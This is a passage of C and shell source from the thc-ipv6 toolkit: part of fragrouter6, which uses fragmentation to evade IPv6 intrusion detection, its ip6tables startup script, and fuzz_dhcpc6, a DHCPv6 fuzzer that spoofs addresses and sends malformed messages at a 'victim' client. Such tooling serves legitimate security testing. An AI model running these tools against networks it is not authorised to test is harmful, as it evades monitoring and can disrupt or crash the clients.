1; } } else if (poll_events == 1) { // Check if socket shutdown for any reason if (fds->revents & POLLHUP) { // Advise the user log_message(LOG_ERROR, "Netfilter netlink socket closed unexpectedly"); // Set exit from loop switch exit_from_loop = 1; } // Check if socket got an error (teorycally this stuff should be managed // by netfilter netlink subsystem, but few lines of code doesn't kill // anyone) else if (fds->revents & POLLERR) { // Advise the user log_message(LOG_ERROR, "Netfilter netlink socket error"); // Set exit from loop switch exit_from_loop = 1; } else { // Read the stuff recv_length = recv(fds->fd, buffer, buffer_size, 0); // Pass the packet to netfilter queue banckend nfq_handle_packet(*h, buffer, recv_length); } } } while (exit_from_loop == 0); free(buffer); free(fds); return EXITCODE_OK; } int netfilter_queue_shutdown(struct nfq_handle **h, struct nfq_q_handle **hq) { // Check if queue was attached if (*hq != 0) { // Try to destroy the queue if it was attached if (nfq_destroy_queue(*hq) != 0) { log_message(LOG_ERROR, "Error while detaching from netfilter queue"); return EXITCODE_NFQ_DESTROYQUEUE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue detached successfully"); } // Check if queue was opened if (*h != 0) { // Try to close the queue if it was opened if (nfq_close(*h) != 0) { log_message(LOG_ERROR, "Error while closing netfilter queue"); return EXITCODE_NFQ_CLOSE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue closed successfully"); } // All goes well return EXITCODE_OK; } void signal_manager(int signal) { // Verifica il tipo di segnale passato switch (signal) { case SIGINT: case SIGQUIT: case SIGTERM: // Log the signal log_message(LOG_NOTICE, "User interrupt!"); exit_from_loop = 1; break; } } int main(int argc, char **argv) { int i, exitcode; struct nfq_handle * h = 0; struct nfq_q_handle *hq = 0; char * ptr; while ((i = getopt(argc, argv, "hdve:f:t:")) >= 0) { switch (i) { case 'h': help(argv[0]); break; case 'f': minifrag = atoi(optarg); if (minifrag % 8 != 0 || minifrag < 8) { minifrag = (((minifrag / 8) + 1) * 8); fprintf(stderr, "Warning: mini fragment size must be a multiple of 8, " "setting to %d\n", minifrag); } break; case 'e': evade_hop = atoi(optarg); break; case 't': target_hop = atoi(optarg); break; case 'd': debug = 1; break; case 'v': verbose = 1; break; } } if (argc - optind != 2) help(argv[0]); if (!evade_hop && target_hop) evade_hop = target_hop - 1; interface = argv[optind]; method = atoi(argv[optind + 1]); printf("Interface: %s\n", interface); printf("Evasion Mode: %u\n", method); if ((mtu = thc_get_mtu(interface)) < 1280 || (ptr = (char *)thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (method == 0) fprintf(stderr, "Warning: mode 0 does not perform any kind of evasion.\n"); if (method > 2048 + 1024 + 512 + 256 + 128 + 64 + 32 + 31) { fprintf(stderr, "Error: modes > 2047 are not defined yet.\n"); exit(-1); } if ((method & 1792) > 0 && !evade_hop) { fprintf(stderr, "Error: methods 256, 512 and 1024 require to specify the evade hop " "count to the IDS with the -e option.\n"); exit(-1); } memcpy(ether, ptr, 6); ether[6] = 0x86; ether[7] = 0xdd; config.log_level = LOG_DEBUG; config.buffer_size = 8192; config.queue_number = 0; config.queue_callback = &netfilter_queue_callback; // Register signals signal(SIGINT, signal_manager); signal(SIGQUIT, signal_manager); signal(SIGTERM, signal_manager); // Startup netfilter queue if ((exitcode = netfilter_queue_startup(&h, &hq)) == EXITCODE_OK) { // If exit code is ok, start loop if ((exitcode = netfilter_queue_loop(&h, &hq)) == EXITCODE_OK) { // All done! } } // Try to close the engine in every case if ((exitcode = netfilter_queue_shutdown(&h, &hq)) == EXITCODE_OK) { // Advise that all gone well log_message(LOG_DEBUG, "All gone well!"); } // Return exit code (EXITCODE_OK means all ok otherwise there was errors) return exitcode; } thc-ipv6-3.8/fragrouter6.h000066400000000000000000000013521376121567700154630ustar00rootroot00000000000000// Define protocol types for AF_INET packets typedef enum { IP_PROTOCOL_ICMP = 1, IP_PROTOCOL_IGMP = 2, IP_PROTOCOL_TCP = 6, IP_PROTOCOL_UDP = 17, IP_PROTOCOL_FRAG = 44, IP_PROTOCOL_ICMP6 = 58, IP_PROTOCOL_EH_DST = 60 } ip_protocol_enum; // Define log levels using with log_message function typedef enum { LOG_DEBUG = 0, LOG_NOTICE = 1, LOG_WARNING = 2, LOG_ERROR = 3 } log_level_enum; // Define exit codes used in the application typedef enum { EXITCODE_OK = 0, EXITCODE_NO_MEMORY, EXITCODE_NFQ_OPEN_FAILED, EXITCODE_NFQ_CLOSE_FAILED, EXITCODE_NFQ_BIND_FAILED, EXITCODE_NFQ_UNBIND_FAILED, EXITCODE_NFQ_CREATEQUEUE_FAILED, EXITCODE_NFQ_DESTROYQUEUE_FAILED, EXITCODE_NFQ_SETMODE_FAILED } exit_code_enum; thc-ipv6-3.8/fragrouter6.sh000077500000000000000000000046221376121567700156540ustar00rootroot00000000000000#!/bin/bash # # fragrouter6 startup script # test -z "$1" -o "$1" = "-h" -o -z "$2" && { echo "fragrouter6 startup script (c) 2020 by van Hauser / THC" echo echo "Syntax: $0 [fragrouter6-options] interface evasion-mode [ip6tables-rule]" echo echo "fragrouter6-options - additional options for fragrouter, e.g. -e, -t etc." echo "interface - the interface of the direction to the target" echo "evasion-mode - the evasion mode number (see fragrouter6 help output)" echo "ip6tables-rule - rule definition of the traffic you want to have evasion on." echo " e.g.: -p tcp -d targetipv6 --dport 80" exit 0 } VAR= while [ '!' -d "/proc/sys/net/ipv6/conf/$1" ]; do VAR="${VAR}$1 " shift; done INT=$1 MODE=$2 shift ; shift test -z "$1" && echo "Warning: no ip6table target definition defined - will manipulate ALL traffic!" IPTABLES="`which ip6tables` -t mangle" MODPROBE=`which modprobe` # Check if the user can run iptables $IPTABLES -L >/dev/null 2>&1 if [ "$?" != "0" ]; then echo "You need to be root to run this script" exit fi # Load ipt_NFQUEUE and ipt_state modules $MODPROBE ipt_NFQUEUE $MODPROBE ipt_state # Ignore SIGINT, SIGKILL and SIGTERM trap "echo User interrupt!" INT HUP KILL TERM # Prepare for startup # Create new tables $IPTABLES -N THC_NFQUEUE >/dev/null 2>&1 # Send all hooked table traffic to new table $IPTABLES -I POSTROUTING -j THC_NFQUEUE $* || { echo Error: your supplied ip6tables definitions are invalid, resetting $IPTABLES -X THC_NFQUEUE >/dev/null 2>&1 exit 1 } # Set incoming exceeded drop rule to prevent connection resets $IPTABLES -I INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP # Send all traffic from the new table to NFQUEUE table $IPTABLES -I THC_NFQUEUE -p all -j NFQUEUE # Fix loopback traffic $IPTABLES -I INPUT -p all -i lo -j ACCEPT $IPTABLES -I OUTPUT -p all -o lo -j ACCEPT # Start fragrouter6 fragrouter6 -v $VAR $INT $MODE # Drop fix for loopback traffic $IPTABLES -D INPUT -p all -i lo -j ACCEPT $IPTABLES -D OUTPUT -p all -o lo -j ACCEPT # Delete incoming exceeded drop rule $IPTABLES -D INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP # Restore hooked table $IPTABLES -D POSTROUTING -j THC_NFQUEUE $* # Drop rules from nfq-test-1 tables $IPTABLES -F THC_NFQUEUE # Delete the table $IPTABLES -X THC_NFQUEUE >/dev/null 2>&1 if [ "$?" != "0" ]; then echo "Unable to drop THC_NFQUEUE!" echo "You need to do this manually!" fi echo echo done. thc-ipv6-3.8/fuzz_dhcpc6.c000066400000000000000000000740231376121567700154420ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int do_fuzzer(); #define COUNT_FLAG 11 #define COUNT_BYTE 4 #define COUNT_WORD 16 #define COUNT_XOR 2 #define COUNT_EXTEND 256 #define COUNT_DWORD 256 #define NEVER 2000000000 #define TEST_MAX (NEVER - 1) #define DO_SOL 1 #define DO_ADV 2 #define DO_REQ 3 #define DO_CON 4 #define DO_REN 5 #define DO_REB 6 #define DO_REP 7 #define DO_REL 8 #define DO_DEC 9 #define DO_REC 10 #define DO_NFO 11 #define DO_REL_FOR 12 #define DO_REL_REP 13 /* * Fuzzing data types: * F = flags = 1 byte = 8 bits | flags | 8 ; 256 * B = byte = 1 byte | 0 1 254 255 xor XOR | 6 ; 256 * X = byte = 1 byte | all values from 0 to 255 * W = word = 2 bytes | 0,1,254,255^2 xor XOR | 18 ; 65536 * D = double word = 4 bytes | {0,1,254,255}^4 xor XOR | 258 ; 4294967295 * . = byte = ignore, jump over * */ struct OPT { char tag; char fuzz[45]; char dont_fuzz[45]; char label[45]; char code[45]; int length; } options[22] = { {'x', "Xx", ".x", "DCHP MESSAGE TYPE", {0x02}, 1}, {'y', "BBBy", "...y", "TRANSACTION ID", {0x00, 0x00, 0x00}, 3}, {'z', "....WWDWWWz", "..................z", "CLIENTID", {0x00, 0x01, 0x00, 0x0E, 'C', 'L', 'I', 'E', 'N', 'T', ' ', 'I', 'D', ' ', 'D', 'U', 'I', 'D'}, 18}, {'a', "....WWDWWWa", "..................a", "SERVERID (a)", {0x00, 0x02, 0x00, 0x0E, 0x00, 0x01, 0x00, 0x01, 0x1A, 0x62, 0xB6, 0x77, 'D', 'I', 'D', 'U', 'I', 'D'}, 18}, {'b', "....DDDb", "................b", "IA_NA (b)", {0x00, 0x03, 0x00, 0x0C, 0x01, 0x02, 0x03, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A}, 16}, {'c', "....DWWWWc", "................c", "IA_TA (c)", {0x00, 0x04, 0x00, 0x0C, 0x01, 0x02, 0x03, 0x04, 0x00, 0x0D, 0x00, 0x04, 0x00, 0x00, 'O', 'K'}, 16}, {'d', "................DD...Xd", "............................d", "IAADR (d)", { 0x00, 0x05, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x0D, 0x00, 0x00, }, 28}, {'e', "....XXe", "......e", "ORO (e)", {0x00, 0x06, 0x00, 0x02, 0x00, 0x08}, 6}, {'f', "....Xf", ".....f", "PREFERENCE (f)", {0x00, 0x07, 0x00, 0x01, 0x00}, 5}, {'g', "....BBg", "......g", "ELAPSED_TIME (g)", {0x00, 0x08, 0x00, 0x02, 0x10, 0xFF}, 6}, {'h', ".....BB...............B...............h", "......................................h", "RELAY_MSG (h)", {0x00, 0x09, 0x00, 0x22, 0x0C, 0x0F, 'L', 'I', 'N', 'K', ' ', 'A', 'D', 'D', 'R', 'E', 'S', 'S', 0x0D, 0x0E, 0x0F, 0x10, 'P', 'E', 'E', 'R', ' ', 'A', 'D', 'D', 'R', 'E', 'S', 'S', 0x0D, 0x0E, 0x0F, 0x10}, 38}, {'i', "....BBBDD.....DB................i", ".........................................i", "AUTHENTICATION (i)", {0x00, 0x0B, 0x00, 0x25, 0x00, 0x01, 0x00, 'R', 'E', 'P', 'L', 'A', 'Y', 0x07, 0x08, 'R', 'E', 'A', 'L', 'M', 'K', 'E', 'Y', 0x04, 0x05, 'H', 'M', 'A', 'C', '-', 'M', 'D', '5', 0x09, 0x0A, 0xB, 0x0C, 0x0D, 0x0E, 0x0F, 0x10}, 41}, {'j', "....DDDDj", "....................j", "UNICAST (j)", {0x00, 0x0C, 0x00, 0x10, 'U', 'N', 'I', 'C', 'A', 'S', 'T', ' ', 'A', 'D', 'D', 'R', 'E', 'S', 'S', 0x10}, 20}, {'k', "....XX..............k", "....................k", "STATUS_CODE (k)", {0x00, 0x0D, 0x00, 0x10, 0x00, 0x00, 'S', 'T', 'A', 'T', 'U', 'S', ' ', 'M', 'E', 'S', 'S', 'A', 'G', 'E'}, 20}, {'l', "...Bl", "....l", "RAPID_COMMIT (l)", {0x00, 0x0E, 0x00, 0x00}, 4}, {'m', "......Dm", "..........m", "USER_CLASS (m)", {0x00, 0x0F, 0x00, 0x06, 0x00, 0x04, 'U', 'S', 'E', 'R'}, 10}, {'n', "....D.......n", "...............n", "VENDOR_CLASS (n)", {0x00, 0x10, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 'C', 'L', 'A', 'S', 'S'}, 15}, {'o', "....D..........o", "..................o", "VENDOR_OPTS (o)", {0x00, 0x11, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 'O', 'P', 'T', 'I', 'O', 'N'}, 18}, {'p', ".................Bp", "..................p", "INTERFACE_ID (p)", {0x00, 0x12, 0x00, 0x0E, 'I', 'N', 'T', 'E', 'R', 'F', 'A', 'C', 'E', ' ', 'I', 'D', ' ', ' '}, 18}, {'q', "....Xq", ".....q", "RECONF_MSG (q)", {0x00, 0x13, 0x00, 0x01, 0x00}, 5}, {'r', "....Br", ".....r", "RECONF_ACCEPT (r)", {0x00, 0x14, 0x00, 0x01, 0x00}, 5}, {'s', "", "", "FUZZING BUFFER ERROR! (s)", {0x00}, 1}, }; unsigned short int words[] = {0x0000, 0x0001, 0x00fe, 0x00ff, 0x0100, 0x0101, 0x01fe, 0x01ff, 0xfe00, 0xfe01, 0xfefe, 0xfeff, 0xff00, 0xff01, 0xfffe, 0xffff}; // 16 unsigned int xors[] = {0, 0xffffffff}; // 2 unsigned char extends[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255}; // 256 unsigned int dwords[] = { 0x00000000, 0x00000001, 0x000000fe, 0x000000ff, 0x00000100, 0x00000101, 0x000001fe, 0x000001ff, 0x0000fe00, 0x0000fe01, 0x0000fefe, 0x0000feff, 0x0000ff00, 0x0000ff01, 0x0000fffe, 0x0000ffff, 0x00010000, 0x00010001, 0x000100fe, 0x000100ff, 0x00010100, 0x00010101, 0x000101fe, 0x000101ff, 0x0001fe00, 0x0001fe01, 0x0001fefe, 0x0001feff, 0x0001ff00, 0x0001ff01, 0x0001fffe, 0x0001ffff, 0x00fe0000, 0x00fe0001, 0x00fe00fe, 0x00fe00ff, 0x00fe0100, 0x00fe0101, 0x00fe01fe, 0x00fe01ff, 0x00fefe00, 0x00fefe01, 0x00fefefe, 0x00fefeff, 0x00feff00, 0x00feff01, 0x00fefffe, 0x00feffff, 0x00ff0000, 0x00ff0001, 0x00ff00fe, 0x00ff00ff, 0x00ff0100, 0x00ff0101, 0x00ff01fe, 0x00ff01ff, 0x00fffe00, 0x00fffe01, 0x00fffefe, 0x00fffeff, 0x00ffff00, 0x00ffff01, 0x00fffffe, 0x00ffffff, 0x01000000, 0x01000001, 0x010000fe, 0x010000ff, 0x01000100, 0x01000101, 0x010001fe, 0x010001ff, 0x0100fe00, 0x0100fe01, 0x0100fefe, 0x0100feff, 0x0100ff00, 0x0100ff01, 0x0100fffe, 0x0100ffff, 0x01010000, 0x01010001, 0x010100fe, 0x010100ff, 0x01010100, 0x01010101, 0x010101fe, 0x010101ff, 0x0101fe00, 0x0101fe01, 0x0101fefe, 0x0101feff, 0x0101ff00, 0x0101ff01, 0x0101fffe, 0x0101ffff, 0x01fe0000, 0x01fe0001, 0x01fe00fe, 0x01fe00ff, 0x01fe0100, 0x01fe0101, 0x01fe01fe, 0x01fe01ff, 0x01fefe00, 0x01fefe01, 0x01fefefe, 0x01fefeff, 0x01feff00, 0x01feff01, 0x01fefffe, 0x01feffff, 0x01ff0000, 0x01ff0001, 0x01ff00fe, 0x01ff00ff, 0x01ff0100, 0x01ff0101, 0x01ff01fe, 0x01ff01ff, 0x01fffe00, 0x01fffe01, 0x01fffefe, 0x01fffeff, 0x01ffff00, 0x01ffff01, 0x01fffffe, 0x01ffffff, 0xfe000000, 0xfe000001, 0xfe0000fe, 0xfe0000ff, 0xfe000100, 0xfe000101, 0xfe0001fe, 0xfe0001ff, 0xfe00fe00, 0xfe00fe01, 0xfe00fefe, 0xfe00feff, 0xfe00ff00, 0xfe00ff01, 0xfe00fffe, 0xfe00ffff, 0xfe010000, 0xfe010001, 0xfe0100fe, 0xfe0100ff, 0xfe010100, 0xfe010101, 0xfe0101fe, 0xfe0101ff, 0xfe01fe00, 0xfe01fe01, 0xfe01fefe, 0xfe01feff, 0xfe01ff00, 0xfe01ff01, 0xfe01fffe, 0xfe01ffff, 0xfefe0000, 0xfefe0001, 0xfefe00fe, 0xfefe00ff, 0xfefe0100, 0xfefe0101, 0xfefe01fe, 0xfefe01ff, 0xfefefe00, 0xfefefe01, 0xfefefefe, 0xfefefeff, 0xfefeff00, 0xfefeff01, 0xfefefffe, 0xfefeffff, 0xfeff0000, 0xfeff0001, 0xfeff00fe, 0xfeff00ff, 0xfeff0100, 0xfeff0101, 0xfeff01fe, 0xfeff01ff, 0xfefffe00, 0xfefffe01, 0xfefffefe, 0xfefffeff, 0xfeffff00, 0xfeffff01, 0xfefffffe, 0xfeffffff, 0xff000000, 0xff000001, 0xff0000fe, 0xff0000ff, 0xff000100, 0xff000101, 0xff0001fe, 0xff0001ff, 0xff00fe00, 0xff00fe01, 0xff00fefe, 0xff00feff, 0xff00ff00, 0xff00ff01, 0xff00fffe, 0xff00ffff, 0xff010000, 0xff010001, 0xff0100fe, 0xff0100ff, 0xff010100, 0xff010101, 0xff0101fe, 0xff0101ff, 0xff01fe00, 0xff01fe01, 0xff01fefe, 0xff01feff, 0xff01ff00, 0xff01ff01, 0xff01fffe, 0xff01ffff, 0xfffe0000, 0xfffe0001, 0xfffe00fe, 0xfffe00ff, 0xfffe0100, 0xfffe0101, 0xfffe01fe, 0xfffe01ff, 0xfffefe00, 0xfffefe01, 0xfffefefe, 0xfffefeff, 0xfffeff00, 0xfffeff01, 0xfffefffe, 0xfffeffff, 0xffff0000, 0xffff0001, 0xffff00fe, 0xffff00ff, 0xffff0100, 0xffff0101, 0xffff01fe, 0xffff01ff, 0xfffffe00, 0xfffffe01, 0xfffffefe, 0xfffffeff, 0xffffff00, 0xffffff01, 0xfffffffe, 0xffffffff}; // 256 char tribyte_id[4] = {0, 0, 0, 0}; int fdebug = 0; unsigned char *dst; unsigned char flags[] = {0, 1, 2, 4, 8, 16, 32, 64, 128, 254, 255}; // 11 unsigned char bytes[] = {0, 1, 254, 255}; // 4 char mac[6] = {0, 0x0c, 0, 0, 0, 0}, *pkt = NULL; // defines mac as 6 pieces and defines pkt as null. char wdatabuf[2048]; // builds data buffer and sets memory size at 1024mb unsigned char *mac6 = mac, *src; // creates mac6 address usuing int i, s, len, pkt_len = 0, dlen = 0; int do_all = 1, use_real_mac = 1, use_real_link = 1; int port = -1; int listen_for_clients = 1; char victim[128] = "fe80::20c:29ff:fe3f:e572"; int cidflag = 0; int oflg = 0; int f_cnt = 0; int p_cnt = 0; unsigned char cid[14] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; int lidx = 0; char mac_fuzz[] = ".............."; char ipv6_fuzz[] = "........................................"; char udp_header_fuzz[] = "........"; char option_string[100] = "abcdefghijklmnopqr"; char fuzzing_mask[512]; char * interface = NULL; int test_start = 0, test_end = TEST_MAX, ping = NEVER, no_send = 1, got_packet = 0; int xid = 0; pcap_t * p = NULL; int do_type = DO_ADV, fuzz_dhcp_msg = 0; unsigned char rdatabuf[1024]; unsigned char * ptr1, *ptr2; static struct iovec iov; struct sockaddr_storage from; struct msghdr mhdr; struct sockaddr_in6 ddst; char cmsgbuf[1024]; int fromlen = 0, len, s, t; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n", prg, VERSION, "Darrell Ambro", RESOURCE); printf("Partially based on code by Brandon Hutcheson and Graeme Neilson\n\n"); printf( "Syntax: %s [-1|-2|-3|-4|-5|-6|-7|-8|-9|-A|-B|-C|-D|-m] -f mac -l link " "-v ipv6 -x xid -c client -o options interface\n\n", prg); printf("Options:\n"); printf(" -1 fuzz DHCPv6 Solicit\n"); printf(" -2 fuzz DHCPv6 Advertise (default)\n"); printf(" -3 fuzz DHCPv6 Request\n"); printf(" -4 fuzz DHCPv6 Confirm\n"); printf(" -5 fuzz DHCPv6 Renew\n"); printf(" -6 fuzz DHCPv6 Rebind\n"); printf(" -7 fuzz DHCPv6 Reply\n"); printf(" -8 fuzz DHCPv6 Release\n"); printf(" -9 fuzz DHCPv6 Decline\n"); printf(" -A fuzz DHCPv6 Reconfigure\n"); printf(" -B fuzz DHCPv6 Information Request\n"); printf(" -C fuzz DHCPv6 Relay-Forward\n"); printf(" -D fuzz DHCPv6 Relay-reply\n"); printf(" -m fuzz the message type as well\n"); printf( " -v ipv6 IPv6 address of victim (if not specified DHCP clients " "sending messages are attacked)\n"); printf( " -x xid Transaction ID of victim - zero for random (ignored if -v " "not specified) \n"); printf( " -c client Client ID of victim - zero for random (ignored if -v not " "specified) \n"); printf(" -f mac spoof the mac address\n"); printf(" -l link spoof the link address\n"); printf( " -o options DHCPv6 message options to send (default: " "abcdefghijklmonpqr)\n"); printf(" a OPTION_SERVERID\n"); printf(" b OPTION_IA_NA\n"); printf(" c OPTION_IA_TA\n"); printf(" d OPTION_IAADR\n"); printf(" e OPTION_ORO\n"); printf(" f OPTION_PREFERENCE\n"); printf(" g OPTION_ELAPSED_TIME\n"); printf(" h OPTION_RELAY_MSG\n"); printf(" i OPTION_AUTH\n"); printf(" j OPTION_UNICAST\n"); printf(" k OPTION_STATUS_CODE\n"); printf(" l OPTION_RAPID_COMMIT\n"); printf(" m OPTION_USER_CLASS\n"); printf(" n OPTION_VENDOR_CLASS\n"); printf(" o OPTION_VENDOR_OPTS\n"); printf(" p OPTION_INTERFACE_ID\n"); printf(" q OPTION_RECONF_MSG\n"); printf(" r OPTION_RECONF_ACCEPT\n"); printf("\nFuzz messages sent to a DHCPv6 client\n"); exit(-1); } int fuzz_loop(char *pkt, int *pkt_len) { int do_fuzz = 1; int test_pos = 0, test_ptr = 0, test_cnt = 0, test_current = 0; int do_it; int i; unsigned short int *sip; unsigned int * intp; int fragment = 0, frag_offset = 0; unsigned char * pkt_bak; thc_ipv6_hdr * hdr = (thc_ipv6_hdr *)pkt; // backup of generated packet pkt_bak = malloc(hdr->pkt_len); memcpy(pkt_bak, hdr->pkt, hdr->pkt_len); if (fdebug) printf("fuzzing_mask(%d): %s\n", strlen(fuzzing_mask), fuzzing_mask); if (fdebug) printf("Victim: %s\n", victim); while (do_fuzz) { if (test_cnt == 0) while (fuzzing_mask[test_ptr] == '.') { test_ptr++; test_pos++; } if ((int)fuzzing_mask[test_ptr] >= 'a') { for (lidx = 0; lidx < 21; ++lidx) if (fuzzing_mask[test_ptr] == options[lidx].tag) break; if (f_cnt == 0) { printf("%s not fuzzed\n", options[lidx].label); } else { if (options[lidx].tag < 's' || options[lidx].tag == 'z') printf("OPTION_%s %d messages (%d)\n", options[lidx].label, f_cnt, p_cnt + f_cnt); else printf("%s %d messages (%d)\n", options[lidx].label, f_cnt, p_cnt + f_cnt); } test_ptr++; p_cnt += f_cnt; f_cnt = 0; continue; } if (fuzzing_mask[test_ptr] == 0) do_fuzz = 0; test_cnt++; do_it = 1; if (fdebug) printf("fuzzing_mask[%d]: %c\n", test_ptr, fuzzing_mask[test_ptr]); switch (fuzzing_mask[test_ptr]) { case 0: break; case 'X': if (test_cnt <= COUNT_EXTEND) { if (pkt_bak[test_pos] != extends[test_cnt - 1]) hdr->pkt[test_pos] = extends[test_cnt - 1]; else do_it = 0; } else { test_cnt = 0; test_ptr++; test_pos++; } break; case 'B': if (test_cnt <= COUNT_BYTE) { if (pkt_bak[test_pos] != bytes[test_cnt - 1]) hdr->pkt[test_pos] = bytes[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_BYTE && do_it) { if (bytes[i] == pkt_bak[test_pos]) do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_BYTE + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'F': if (test_cnt <= COUNT_FLAG) { if (pkt_bak[test_pos] != flags[test_cnt - 1]) hdr->pkt[test_pos] = flags[test_cnt - 1]; else do_it = 0; } else { i = 0; while (i < COUNT_FLAG && do_it) { if (bytes[i] == pkt_bak[test_pos]) // yes, bytes[] is the right one // even for flags do_it = 0; i++; } if (do_it) hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1]; } if (test_cnt == COUNT_FLAG + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos++; } break; case 'W': sip = (unsigned short int *)&pkt_bak[test_pos]; if (test_cnt <= COUNT_WORD) { if (*sip != words[test_cnt - 1]) memcpy((char *)&hdr->pkt[test_pos], (char *)&words[test_cnt - 1], 2); else do_it = 0; } else { i = 0; while (i < COUNT_WORD && do_it) { if (words[i] == *sip) do_it = 0; i++; } if (do_it) { i = *sip ^ xors[test_cnt - COUNT_WORD - 1]; sip = (unsigned short int *)&hdr->pkt[test_pos]; *sip = i % 65536; } } if (test_cnt == COUNT_WORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 2; } break; case 'D': intp = (unsigned int *)&pkt_bak[test_pos]; if (test_cnt <= COUNT_DWORD) { if (*intp != dwords[test_cnt - 1]) memcpy((char *)&hdr->pkt[test_pos], (char *)&dwords[test_cnt - 1], 4); else do_it = 0; } else { i = 0; while (i < COUNT_DWORD && do_it) { if (dwords[i] == *intp) do_it = 0; i++; } if (do_it) { i = *intp ^ xors[test_cnt - COUNT_DWORD - 1]; intp = (unsigned int *)&hdr->pkt[test_pos]; *intp = (unsigned int)i; // *intp = (unsigned int) (i % 4294967295); } } if (test_cnt == COUNT_DWORD + COUNT_XOR) { test_cnt = 0; test_ptr++; test_pos += 4; } break; default: fprintf(stderr, "This character should not be in the fuzz string: %c(%d) " "position %d string %s\n", fuzzing_mask[test_ptr], fuzzing_mask[test_ptr], test_ptr, fuzzing_mask); return -1; break; } if (do_it && do_fuzz) { if (test_current >= test_start && test_current <= test_end && do_fuzz) { // Generate new transaction id if (xid == 0) { int three_byte_test_current = test_current % 0x1000000; memcpy(hdr->pkt + 63, (char *)&three_byte_test_current, 3); } // Regenerate UDP checksum hdr->pkt[60] = 0; hdr->pkt[61] = 0; i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_UDP, &hdr->pkt[54], hdr->pkt_len - 54); hdr->pkt[60] = i / 256; hdr->pkt[61] = i % 256; // send packets int k; for (k = 0; k < no_send; k++) { if (fdebug) fprintf(stderr, "send it\n"); while (thc_send_pkt(interface, pkt, pkt_len) < 0) usleep(1); } // printf("."); usleep(250); ++f_cnt; } // reset to basic packet memcpy(hdr->pkt, pkt_bak, hdr->pkt_len); test_current++; } } return 0; } void dhcpc_listener() { if ((s = thc_bind_udp_port(547)) < 0) { fprintf(stderr, "Error: could not bind to 547/udp\n"); exit(-1); } if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < 0) { fprintf(stderr, "Error: could not bind multicast address\n"); exit(-1); } if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { perror("Error:"); exit(-1); } if (p_cnt > 0) { printf("%d messages sent\n", p_cnt); p_cnt = 0; } printf( "\nListening for DHCPv6 clients on %s (Press Control-C to end) ...\n\n", interface); while (1) { memset((char *)&from, 0, sizeof(from)); memset(&iov, 0, sizeof(iov)); memset(&mhdr, 0, sizeof(mhdr)); iov.iov_base = rdatabuf; iov.iov_len = sizeof(rdatabuf); mhdr.msg_name = &from; mhdr.msg_namelen = sizeof(from); mhdr.msg_iov = &iov; mhdr.msg_iovlen = 1; mhdr.msg_control = (caddr_t)cmsgbuf; mhdr.msg_controllen = sizeof(cmsgbuf); if ((len = recvmsg(s, &mhdr, 0)) > 0) { fromlen = mhdr.msg_namelen; if (fdebug) thc_dump_data(rdatabuf, len, "Received Packet"); ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); printf("\nReceived DHCPv6 Type %d message from %s\n", rdatabuf[0], ptr2); strncpy((char *)&victim, ptr2, sizeof(victim)); free(ptr2); dst = thc_resolve6(victim); /* get xid and cid */ tribyte_id[2] = rdatabuf[1]; tribyte_id[1] = rdatabuf[2]; tribyte_id[0] = rdatabuf[3]; printf("Transaction ID: %x%x%x\n", rdatabuf[1], rdatabuf[2], rdatabuf[3]); xid = 1; int roffset = 5; while (roffset < len) { if (rdatabuf[roffset] != 1) { /* skip 